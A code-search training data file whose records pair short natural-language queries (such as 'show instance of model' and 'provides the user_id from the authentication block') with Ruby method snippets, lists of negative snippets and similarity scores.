"def generate_token(n: 36)\n token = nil\n loop do\n token = SecureRandom.urlsafe_base64(n)\n return token if valid_new_token?(token)\n end\n end",
"def generate_identifier_token\n self.identifier_token ||= loop do\n token = ('%015i' % random_number)\n break token unless self.class.find_by_identifier_token(token)\n end\n\n self.twilio_conference_name ||= identifier_token\n end",
"def regenerate\n self.token = UUIDTools::UUID.random_create.to_s\n reset_timer\n self.token\n end",
"def generate_authentication_token\n loop do\n token = Devise.friendly_token\n break token unless self.class.exists?(authentication_token: token)\n end\n end",
"def generate_api_key\n loop do\n token = SecureRandom.base64.tr('+/=', 'RST')\n break token unless User.exists?(api_key: token)\n end\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while self.class.exists?(auth_token: auth_token)\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while self.class.exists?(auth_token: auth_token)\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while self.class.exists?(auth_token: auth_token)\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while self.class.exists?(auth_token: auth_token)\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while self.class.exists?(auth_token: self.auth_token)\n end",
"def generate_token\n UUIDTools::UUID.random_create.to_s\n end",
"def generate_token(column)\n begin\n self[column] = SecureRandom.uuid\n end while self.class.exists?(column => self[column])\n end",
"def generate_api_key\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless self.class.exists?(api_key: token)\n end\n end",
"def generate_authentication_token\n begin\n self.access_token = Devise.friendly_token\n end while self.class.exists?(access_token: access_token)\n end",
"def keep_or_generate_token!\n if api_token.nil? || api_token.empty?\n self.api_token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless User.exists?(api_token: random_token)\n end\n update_column(:api_token, api_token) unless new_record?\n end\n end",
"def generate_token\n\t\t\tself.id_token ||= SecureRandom.hex(8) \n\t\t\tif Appointment.exists?(:id_token => id_token)\n\t\t\t\tself.id_token = nil\n\t\t\t\traise\n\t\t\tend\t\t\t\n\t\trescue Exception => e\n\t\t\t@token_attempts = @token_attempts.to_i + 1\n\t\t\tputs \"Record not unique \" + @token_attempts.to_s\n\t\t\tretry if @token_attempts < MAX_RETRIES\n\t\t\traise e, \"#{I18n.t(:professional)}: #{I18n.t(:create_unsuccess)} #{I18n.t(:uniqueness_unsuccess)}\"\n\t\tend",
"def generate_authentication_token!\n\tbegin\n\t\tself.auth_token = Devise.friendly_token\n\tend while self.class.exists?(auth_token: auth_token)\nend",
"def generate_token!\n new_token = User.unique_random(field_name: 'api_token')\n update_column(:api_token, new_token)\n end",
"def generate_token!(column)\n attempts = 3\n\n begin\n token = SecureRandom.urlsafe_base64(24)\n update_column(column, token)\n rescue ActiveRecord::RecordNotUnique\n retry if (attempts -= 1) > 0\n end\n\n send(column) == token\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while User.exists?(auth_token: auth_token)\n end",
"def generate_authentication_token!\n begin\n self.auth_token = Devise.friendly_token\n end while User.exists?(auth_token: auth_token)\n end",
"def generate_token(column=nil)\n begin\n self[column] = SecureRandom.urlsafe_base64\n end while User.exists?(column => self[column])\n end",
"def generate_secret_token\n token = RandomToken.random(15)\n \n until !Operator.exists?(secret_token: token)\n generate_access_token\n end\n \n self.secret_token = token\n end",
"def generate_token(options = {})\n values = [rand(0x0010000), rand(0x0010000), rand(0x0010000), rand(0x0010000), rand(0x0010000), rand(0x1000000), rand(0x1000000)]\n \"%04x%04x-%04x-%04x-%04x-%06x%06x\" % values\n end",
"def generate_api_key\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless User.exists?(api_key: token)\n end\n end",
"def generate_api_key\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless User.exists?(api_key: token)\n end\n end",
"def generate_api_key\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless User.exists?(api_key: token)\n end\n end",
"def generate_token\n @raw_token = Doorkeeper::OAuth::Helpers::UniqueToken.generate\n secret_strategy.store_secret(self, :token, @raw_token)\n end",
"def generate_authentication_token\n loop do\n token = Devise.friendly_token\n break token unless User.where(authentication_token: token).first\n end\n end",
"def generate_authentication_token\n loop do\n token = Devise.friendly_token\n break token unless User.where(authentication_token: token).first\n end\n end",
"def ensure_token_uniqueness\n self.session_token = generate_token\n while User.find_by(session_token: self.session_token)\n self.session_token = generate_token\n end\n self.session_token\n end",
"def generate_token(column)\n\t begin\n\t self[column] = SecureRandom.urlsafe_base64\n\t end while Owner.exists?(column => self[column])\n\tend",
"def generate_token\n self.token ||= SecureRandom.hex(16)\n end",
"def generate_authentication_token\n loop do\n self.authentication_token = SecureRandom.base64(64)\n break if !Admin::User.find_by(authentication_token: authentication_token)\n end\n end",
"def new_submission_token\n token = nil\n loop do\n token = SecureRandom.urlsafe_base64[0, 10]\n break unless Patient.where(submission_token: token).any?\n end\n token\n end",
"def generate_authentication_token\n loop do\n token = Devise.friendly_token\n break token unless User.where(authentication_token: token).first\n end\n end",
"def generate_authentication_token\n loop do\n token = Devise.friendly_token\n break token unless User.where(authentication_token: token).first\n end\n end",
"def generate_token(column)\n loop do\n self[column] = SecureRandom.urlsafe_base64\n break unless User.exists?(column => self[column])\n end\n end",
"def generate_token\n self.token = SecureRandom.hex if new_record?\n end"
] |
[
"0.8182951",
"0.8116123",
"0.8088196",
"0.8055456",
"0.7933969",
"0.7831086",
"0.77418095",
"0.7670257",
"0.7660368",
"0.76479715",
"0.7604471",
"0.7512626",
"0.74904776",
"0.7487344",
"0.74511945",
"0.7429373",
"0.7429373",
"0.723246",
"0.721048",
"0.7197418",
"0.7140266",
"0.71264184",
"0.7125926",
"0.7082157",
"0.70619726",
"0.7053152",
"0.6987904",
"0.6978118",
"0.69769746",
"0.6969152",
"0.6941769",
"0.692849",
"0.6923004",
"0.6879975",
"0.68729293",
"0.6852402",
"0.68441224",
"0.68436193",
"0.6833572",
"0.6827336",
"0.6821661",
"0.6820426",
"0.6816529",
"0.68110317",
"0.67922735",
"0.67848766",
"0.67848766",
"0.67848766",
"0.67848766",
"0.67646694",
"0.67629147",
"0.6747509",
"0.6728539",
"0.67177135",
"0.671041",
"0.6693694",
"0.6667815",
"0.6645163",
"0.66019475",
"0.65913165",
"0.6587157",
"0.65817946",
"0.65656495",
"0.6565503",
"0.6563665",
"0.6544213",
"0.6542397",
"0.6542397",
"0.6542397",
"0.6542397",
"0.6540068",
"0.65277606",
"0.6519289",
"0.6518334",
"0.65131795",
"0.65121627",
"0.64997536",
"0.647599",
"0.64660287",
"0.6459912",
"0.6452273",
"0.6452273",
"0.64503604",
"0.6441278",
"0.6434996",
"0.6431212",
"0.6431212",
"0.6431212",
"0.6425012",
"0.64232415",
"0.64232415",
"0.6423224",
"0.642311",
"0.64100057",
"0.64091694",
"0.6398678",
"0.6395141",
"0.6394697",
"0.639361",
"0.6383477"
] |
0.8035977
|
4
|
show instance of model
|
def specific_show(model, id)
model.find(id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n #@instance = Instance.find(params[:id])\n @instance = Instance.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instance }\n end\n end",
"def show\n \n \n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n\n end",
"def show\n\n end",
"def show\n\n end",
"def show\n end",
"def show\n \n end",
"def show\n \n end",
"def show\n\t\t end",
"def show\n run List::Show\n render cell(List::Cell::Show, result['model']), layout: true\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end",
"def show\n end"
] |
[
"0.77140474",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.767937",
"0.76441294",
"0.76441294",
"0.76441294",
"0.7539983",
"0.7477298",
"0.74733174",
"0.74733174",
"0.74733174",
"0.7464281",
"0.7464281",
"0.7464281",
"0.74516875",
"0.7450773",
"0.7450773",
"0.7431201",
"0.74288535",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446",
"0.7417446"
] |
0.0
|
-1
|
provides the institution_id from the authentication block
|
def auth_inst_id
auth[:institution_id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def institution_id\n\t\tif organisation.nil?\n\t\t\treturn nil\n\t\telse\n\t\t\treturn organisation.root.id\n\t\tend\n\tend",
"def institution\n @institution ||= Institutions.institutions[institution_code.to_sym]\n end",
"def institution\n @institution ||= Institutions.institutions[institution_code.to_sym]\n end",
"def institution\n default = \"[INSTITUTION]\"\n result = local_study_affiliate\n result.blank? ? default : result\n end",
"def institution\n ::HubEdos::StudentApi::V2::StudentRecord::Institution.new(@data['institution']) if @data['institution']\n end",
"def institution_from_ip\n unless request.nil?\n @institution_from_ip ||= Institutions.with_ip(request.remote_ip).first\n end\n end",
"def institution_param_name\n 'institution'\n end",
"def id_for(institution_or_id)\n return Institution.null.id if institution_or_id.nil?\n institution_or_id.try(:id) || institution_or_id\n end",
"def institution_param\n if params[\"#{institution_param_key}\"].present?\n params[\"#{institution_param_key}\"].to_sym\n end\n end",
"def primary_institution_from_ip\n Institutions.with_ip(request.remote_ip).first unless request.nil?\n end",
"def institution_from_ip\n unless request.nil?\n @institution_from_ip ||= begin\n institutions_from_ip = institutions.find_all { |code, institution| institution.includes_ip? request.remote_ip }\n if institutions_from_ip.present?\n # Get first matching institution and get the last element from\n # [:NYU, Institution] array, that is, the actual Institution object\n institutions_from_ip.first.last\n end\n end\n end\n end",
"def institution\n @institution ||= Institution.find(self.institution_pid)\n rescue ActiveFedora::ObjectNotFoundError => e\n logger.warn \"#{self.institution_pid} is set as the institution for #{self}, but it doesn't exist\"\n @institution = NilInstitution.new\n end",
"def institution_param\n params[institution_param_name].upcase.to_sym if params[institution_param_name].present?\n end",
"def extract_identity\n @identity = Identity.find_omniauth(omniauth) if omniauth\n end",
"def institution_id=(new_institution_id)\n\t\tif organisation.nil? then\n\t\t\tself.organisation_id = new_institution_id\n\t\tend\n\tend",
"def institution\n Settings.HARVESTER.INSTITUTION.name\n end",
"def institution_param_name\n 'umlaut.institution'\n end",
"def resource_id\n self.end_user_login\n end",
"def current_primary_institution\n @current_primary_institution ||=\n (institution_param.nil? or all_institutions[institution_param].nil?) ?\n ((primary_institution_from_ip.nil?) ?\n ((@current_user.nil? or current_user.primary_institution.nil?) ?\n Institutions.defaults.first :\n current_user.primary_institution) :\n primary_institution_from_ip) :\n all_institutions[institution_param]\n end",
"def institution(id=nil)\n @institution = Plaid::Institution.new\n res = self.get('institutions',id)\n id.nil? ? @institution.instantiate_all_institutions(res) : @institution.instantiate_one_institution(res)\n end",
"def institution_getit_url\n current_primary_institution.getit_url if current_primary_institution.respond_to?(:getit_url)\n end",
"def user_record_from_upi(figshare:, upi:, &block)\n figshare.institutions.accounts( institution_user_id: \"#{upi}@auckland.ac.nz\") do |a|\n figshare.other.private_account_info(impersonate: a['id'], &block)\n end\nend",
"def current_institute \n if @institute \n @institute.name\n else #Fail safe \n end\n end",
"def institution_name\n @institution_name ||= File.read(file_path, :mode => \"rb\", :external_encoding => \"UTF-8\").strip\n rescue\n nil\n end",
"def authenticate_user!(options={})\n super(options)\n @organisation ||= current_user.organisation\n Organisation.current_id = @organisation.present? ? @organisation.subtree.map(&:id) : nil\n end",
"def auth_user_id\n auth[:user_id]\n end",
"def provider\n return nil unless user_id\n user_id.split('/').last\n end",
"def provider\n return nil unless user_id\n user_id.split('/').last\n end",
"def hosting_institution\n {\n name: Rails.configuration.x.ezid[:hosting_institution],\n scheme: Rails.configuration.x.ezid[:hosting_institution_scheme],\n identifier: Rails.configuration.x.ezid[:hosting_institution_identifier]\n }\n end",
"def authentication provider=:identity\n Authentication.where(user_id: id, provider: provider).all.first\n end",
"def openid_client_id; end",
"def institution_from_code(code)\n unless code.nil?\n @institution_from_code ||= institutions[code.upcase.to_sym]\n end\n end",
"def issuer\n openid_config['issuer']\n end",
"def set_institution\n @institution = Institution.find(params[:id])\n end",
"def set_institution\n @institution = Institution.find(params[:id])\n end",
"def set_institution\n @institution = Institution.find(params[:id])\n end",
"def set_institution\n @institution = Institution.find(params[:id])\n end",
"def institution_param\n params['institution'].upcase.to_sym if params['institution'].present?\n end",
"def authidcode\n\t\t \tparams['authIdCode']\n\t\t end",
"def set_institution\n @institution = Institution.find(params[:id])\n end",
"def institution(id = nil)\n res = Connection.get('institutions', id)\n id.nil? ? Institution.all(res) : Institution.new(res)\n end",
"def set_institution\n @institution = current_user.institutions.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render json: { errors: [I18n.t('api.institution.not_found')] }, status: :not_found\n end",
"def org_id\n @org_id ||= query_org_id # lazy query org_id when not set by login response\n end",
"def record_id\n block.id\n end",
"def auth_id\n params['TxAuthNo']\n end",
"def uid\n # Just reusing the block's object_id seems to make sense\n block.object_id\n end",
"def provider_id\n return @provider_id\n end",
"def user_id\n raise \"Implement in Client or Advocate\"\n end",
"def openid_redirect_uri; end",
"def get_ldap_id\n\t\tself.id = Devise::LDAP::Adapter.get_ldap_param(self.username,\"uidnumber\").first\n end",
"def institution\n return publisher.include?(\",\") ? publisher.split(\",\").last.strip : \"\" unless publisher.nil? \n end",
"def openid_identifier\n auth_params[:openid_identifier] if auth_params?\n end",
"def orcid\n if credential.present?\n sign_in_and_redirect(credential.user, event: :authentication)\n else\n session[\"devise.provider\"] = { \"orcid\" => auth }\n redirect_to new_user_registration_url\n end\n end",
"def get_institution(id)\r\n # Prepare query url.\r\n _path_url = '/institutions/{id}'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'id' => id\r\n )\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n Institution.from_hash(decoded)\r\n end",
"def txn_id\n authorization\n end",
"def show\n @institution = current_institution\n end",
"def institution(institution, options={})\n self.class.get(\"/Institution/#{institution}.json\", options)\n end",
"def student_id\n @net_ldap_entry[:berkeleyedustuid].first\n end",
"def set_catalogs_institution\n @catalogs_institution = Catalogs::Institution.find(params[:id])\n end",
"def get_identification_type\n if user_signed_in?\n @identification_type = current_user.cvs.find_by(params[:identification_type])\n end\n end",
"def user_id\n @raw['user']['id']\n end",
"def external_id; end",
"def identity_resource_identifier\n return @identity_resource_identifier\n end",
"def external_identifier \n elements = []\n elements << ipaddress || 'UNKNOWNIP'\n elements << custid || 'anon'\n #OT.ld \"sess identifier input: #{elements.inspect}\"\n @external_identifier ||= elements.gibbler.base(36)\n @external_identifier\n end",
"def external_id\n return @external_id\n end",
"def external_id\n return @external_id\n end",
"def external_id\n return @external_id\n end",
"def external_id\n return @external_id\n end",
"def get_user_id_harvest\n harvest_uri = URI(\"https://api.harvestapp.com/v2/users/me\")\n\n Net::HTTP.start(harvest_uri.host, harvest_uri.port, use_ssl: true) do |http|\n harvest_request = Net::HTTP::Get.new harvest_uri\n\n harvest_request[\"Authorization\"] = \"Bearer #{harvest_access_token}\"\n harvest_request[\"Harvest-Account-ID\"] = harvest_account_id\n harvest_request[\"User-Agent\"] = harvest_user_agent\n \n harvest_response = http.request harvest_request\n json_response = JSON.parse(harvest_response.body)\n return json_response[\"id\"]\n end\n end",
"def lab_user_id\n plaintext_id = \"#{@view_options[:channel]}:#{user_or_session_id}\"\n Digest::SHA1.base64digest(storage_encrypt(plaintext_id)).tr('=', '')\n end",
"def issuer\n return @issuer\n end",
"def issuer\n return @issuer\n end",
"def anonymous_id\n auth_data[\"anonymous\"][\"id\"] if auth_data.present? && auth_data[\"anonymous\"].is_a?(Hash)\n end",
"def affiliation_id\n affiliation_ids.try(:first)\n end",
"def user_id\n # The user id can't be handled by the method_missing magic from\n # OctocatHerder::Base, since the id method returns the object\n # id.\n @raw['id']\n end",
"def get_institution_user(id)\r\n # Prepare query url.\r\n _path_url = '/institution_users/{id}'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'id' => id\r\n )\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n InstitutionUserDetail.from_hash(decoded)\r\n end",
"def current_identity\n token_locations = [cookies[:auth_token], ENV['DANGEROUS_AUTH_HACK'], params[:auth_token]]\n token = token_locations.find{|x| !x.blank? }\n if token\n Identity.find_by(token: token)\n else\n nil\n end\n end",
"def current_organisation_id()\n return Thread.current[:organisation_id]\n end",
"def university_id\n patron&.university_id || univ_id\n end",
"def hubssolib_get_user_id\n user = self.hubssolib_current_user\n user ? user.user_id : nil\n end",
"def profile_id\n Settings.cybersource.profile_id\n end",
"def current_id\n current_org&.id\n end",
"def current_user_id\n info['user']['id']\n end",
"def user_id; config[:user_id]; end",
"def set_institution\n @institution = Institution.friendly.find(params[:id])\n authorize @institution\n end",
"def set_institution\n @institution = Institution.friendly.find(params[:id])\n authorize @institution\n end",
"def set_institution\n @institution = Institution.find params[:id]\n authorize @institution\n end",
"def identifier_value\n user.icn\n end",
"def provider_resource_id\n return @provider_resource_id\n end",
"def org_id\n query('select id from Organization').first['Id']\n end",
"def current_user\n current_login_credential\n end",
"def tracking_identifier\n self.issuer\n end",
"def provider_identity\n [self.source.name, self.uid].compact.join('_')\n end",
"def login(params={})\n params.merge!({institution: current_institution.code.downcase}) if current_institution\n link_to_logout(params) if current_user\n end",
"def authorization_id\n @authorization_id ||= begin\n join = AuthJoin.by_user_object_id(:key => id).first\n join && join[:auth_object_id]\n end\n end",
"def base_credential; end",
"def resource_owner_id\n env['HTTP_X_AUTHENTICATED_USERID']\n end",
"def identity\n data = perform_get(IDENTITY_PATH)\n data || {}\n end",
"def issuer\n fetch(:@issuer) { |grid_string| grid_string[2,5] }\n end",
"def identification\n request('getIdentification')\n end"
] |
[
"0.72608656",
"0.68392867",
"0.68392867",
"0.64460135",
"0.64351135",
"0.6403331",
"0.6301779",
"0.62198377",
"0.6191585",
"0.6138439",
"0.6019603",
"0.6018182",
"0.59983885",
"0.59951633",
"0.59127873",
"0.59085804",
"0.5883133",
"0.58764386",
"0.5867963",
"0.5702741",
"0.5695995",
"0.568555",
"0.567724",
"0.5675272",
"0.5664896",
"0.56426686",
"0.5623253",
"0.5623253",
"0.5603128",
"0.5583934",
"0.5574641",
"0.55745494",
"0.5564413",
"0.55528605",
"0.55528605",
"0.55528605",
"0.55528605",
"0.5552759",
"0.55352277",
"0.5529792",
"0.55233437",
"0.5487246",
"0.5480708",
"0.5473819",
"0.54733026",
"0.5461381",
"0.5455951",
"0.54459596",
"0.5443224",
"0.5423073",
"0.54204184",
"0.5415236",
"0.54064894",
"0.5402962",
"0.53950596",
"0.5393716",
"0.5391477",
"0.5377072",
"0.5364251",
"0.53597367",
"0.5351025",
"0.53468245",
"0.53336495",
"0.5333125",
"0.53244656",
"0.53244656",
"0.53244656",
"0.53244656",
"0.53243977",
"0.5319923",
"0.53148806",
"0.53148806",
"0.5305851",
"0.53007287",
"0.53000206",
"0.5300011",
"0.5299993",
"0.52932644",
"0.5292066",
"0.52867216",
"0.5278611",
"0.52726805",
"0.5270958",
"0.5264084",
"0.5262915",
"0.5262915",
"0.52543795",
"0.52536875",
"0.52513534",
"0.5250052",
"0.5241457",
"0.5241134",
"0.52407306",
"0.5218093",
"0.5213103",
"0.5212246",
"0.5208122",
"0.52059126",
"0.51937217",
"0.519276"
] |
0.8112613
|
0
|
provides the user_id from the authentication block
|
def auth_user_id
auth[:user_id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_id\n @raw['user']['id']\n end",
"def user_id\n # The user id can't be handled by the method_missing magic from\n # OctocatHerder::Base, since the id method returns the object\n # id.\n @raw['id']\n end",
"def user_id\n instance_variable_get(:@prepared_arguments).dig(:user_id)\n end",
"def user_id\n return nil unless success?\n\n @user_id\n end",
"def user_id\n decoded_token.first['user_id']\n end",
"def user_id\n return @user_id\n end",
"def user_id\n return @user_id\n end",
"def user_id\n return @user_id\n end",
"def user_id\n return @user_id\n end",
"def user_id\n return @user_id\n end",
"def user_id\n return @user_id\n end",
"def user_id\n raise \"Implement in Client or Advocate\"\n end",
"def user_id\n payload = authenticate!(via: :jwt)\n return payload[\"user\"]\n end",
"def auth_user_id\n session[:current_user_id] unless session[:current_user_id].nil?\n end",
"def user_id\n @user_id ||= self.user ? self.user.to_global_id : nil\n end",
"def user_id_for(user)\n find(user.id, user.login)\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n @attributes[:user_id]\n end",
"def user_id\n username\n end",
"def get_user_id\n # TODO: #6. Complete the function to return your user id\n user_id = 'Put your user ID here'\n end",
"def user_id\n @current_user.id\n end",
"def hubssolib_get_user_id\n user = self.hubssolib_current_user\n user ? user.user_id : nil\n end",
"def user_id\n @message[:user][:id]\n end",
"def user_id\n unless @user_id.nil? || @user_id == 0\n @user_id\n else\n read_attribute(:user_id) # TODO: Might need to cache result\n end\n end",
"def id\n @data[:user_id]\n end",
"def token_user_id\n decoded_token.first['id']\n end",
"def current_user_id\n info['user']['id']\n end",
"def user_id; config[:user_id]; end",
"def current_user_id(context = {})\n context[:cbac_user].to_i\n end",
"def lab_user_id\n plaintext_id = \"#{@view_options[:channel]}:#{user_or_session_id}\"\n Digest::SHA1.base64digest(storage_encrypt(plaintext_id)).tr('=', '')\n end",
"def uid\n # Just reusing the block's object_id seems to make sense\n block.object_id\n end",
"def twitter_user_id\n raw['id']\n end",
"def user_id\n config.present? ? config[:user_id] : ''\n end",
"def current_user_id\n if request.headers && request.headers['Authorization']\n token = request.headers['Authorization'].split(' ')[1] #[Bearer <token>]\n begin\n decoded_token = JWT.decode(token, 'this should be in .env', true, algorithm: 'HS256')\n if decoded_token\n user_id = decoded_token[0]['user_id'] #[{ \"user_id\"=>\"2\" }, { \"alg\"=>\"HS256\" }]\n end\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def user_id; 1; end",
"def user_id\n\t\t@user_id || nil\n\tend",
"def resource_id\n self.end_user_login\n end",
"def userid\n \treturn session[:userid]\n \tend",
"def current_user\n return unless session[:token]\n\n crypt = ActiveSupport::MessageEncryptor.new(Rails.application.credentials.secret_key_base.byteslice(0..31))\n token = crypt.decrypt_and_verify session[:token]\n user_id = token.gsub('user-id:', '').to_i\n User.find user_id\n rescue ActiveSupport::MessageVerifier::InvalidSignature\n nil\n end",
"def get_id(user_name)\n return get_value_of(user_name, :id)\n end",
"def uid\n return nil unless user_id\n user_id.split('/').first\n end",
"def uid\n return nil unless user_id\n user_id.split('/').first\n end",
"def user_id\n @current_user.id if !@current_user.nil? && users.include?(@current_user)\n users.first.id\n end",
"def user_id\n user.id\n end",
"def get_authenticated_user # rubocop:disable Style/AccessorMethodName\n @user_id = YourMembership::Member.isAuthenticated(self)\n end",
"def get_user_id_from_token\n if request.headers['Authorization'].present?\n @token = request.headers['Authorization'].split(' ').last\n @payload ||= AuthToken.decode(@token)\n if @payload && @payload[:user_id]\n return @payload[:user_id]\n end\n end\n return nil\n end",
"def azure_ad_user_id\n return @azure_ad_user_id\n end",
"def auth_user\n User.find(auth_user_id) unless auth_user_id.nil?\n end",
"def user_id\n self.user.id unless user.nil?\n end",
"def get_userid()\r\n user_info = @context.call_myspace_api(:user_info, :v1_json => true)\r\n user_info['userId'].to_s\r\n end",
"def get_user_id(reaktoruser_id)\n IdStore.get(:reaktoruser, reaktoruser_id)\n end",
"def user_id(transition)\n user_id = transition.args.last[:user_id] if transition.args.present?\n user_id ||= 0\n end",
"def get_account_id\n if user\n return user.get_account_id\n end\n end",
"def current_user\n current_login_credential\n end",
"def user_id\n case @params.event\n when 'conversation_started', 'subscribed'\n @params.user.id\n when 'unsubscribed', 'delivered', 'seen', 'failed'\n @params.user_id\n when 'message'\n @params.sender.id\n else\n @params.dig(:user, :id)\n end\n end",
"def logged_in_user_id\n token = request.headers[\"Authorization\"]\n # something which might raise an exception\n begin \n decoded_payload = JWT.decode(token, hmac_secret, true, { algorithm: 'HS256' })\n return decoded_payload.first[\"user_id\"].to_i\n # code that deals with some exception\n rescue\n return nil\n end\n end",
"def provider\n return nil unless user_id\n user_id.split('/').last\n end",
"def provider\n return nil unless user_id\n user_id.split('/').last\n end",
"def user_id; @message_impl.getUserId; end",
"def user_id\n if (id = (@opts[:user_id] || @opts['user_id'])) && id.respond_to?(:to_s)\n if (id = id.to_s).size > 0 && id != '0'\n return id\n end\n end\n end",
"def user\n user_id.get_object\n end",
"def user_id\n return link.split(\"/\")[2]\n end",
"def user_id\n @logged_in_user = User.find_by(id: params[:id])\n @user_id = @logged_in_user.id\n end",
"def get_userid()\n user_info = call_myspace_api(:user_info, :v1_json => true)\n user_info['userId'].to_s\n end",
"def current_user_id\n session[:user_id]\n end",
"def current_user_id\n app_session.current_user_id\n end",
"def user\n return Etc.getlogin\n end",
"def user_login\n @raw['user']['login']\n end",
"def getUserID\n if signed_in? \n if params[:id].empty?\n uid = current_user.id\n else\n uid = params[:id]\n end\n @user = User.find(uid)\n else\n redirect_to pages_home_path\n end\n end",
"def get_user_id\n if current_user\n @user = User.find(current_user.id)\n end\nend",
"def current_user_id\n 1\n end",
"def logged_user\n if decoded_token\n user_id = decoded_token[0].to_i\n @user = User.find user_id\n end\n end",
"def user_id\n item.jid.node if item\n end",
"def id\r\n return @user.id\r\n end",
"def get_user_id(username)\n # .........\n end",
"def identify_the_user\n \t@current_user = User.find_by_id(session[\"user_id\"])\n end",
"def store_user_id(user)\n\t\t@id = user\n\tend",
"def user_id=(value)\n @user_id = value\n end",
"def user_id=(value)\n @user_id = value\n end",
"def user_id=(value)\n @user_id = value\n end",
"def user_id=(value)\n @user_id = value\n end",
"def user_id=(value)\n @user_id = value\n end",
"def user_id=(value)\n @user_id = value\n end",
"def current_user_id\n @server.current_user_id\n end",
"def logged_in_user_id\n session[:user_id]\n end",
"def get_user_id(client_id, ethereum_address)\n ukds = get_user_kyc_details(client_id, ethereum_address)\n\n ukds.first.user_id\n end",
"def user\n authentication.user\n end",
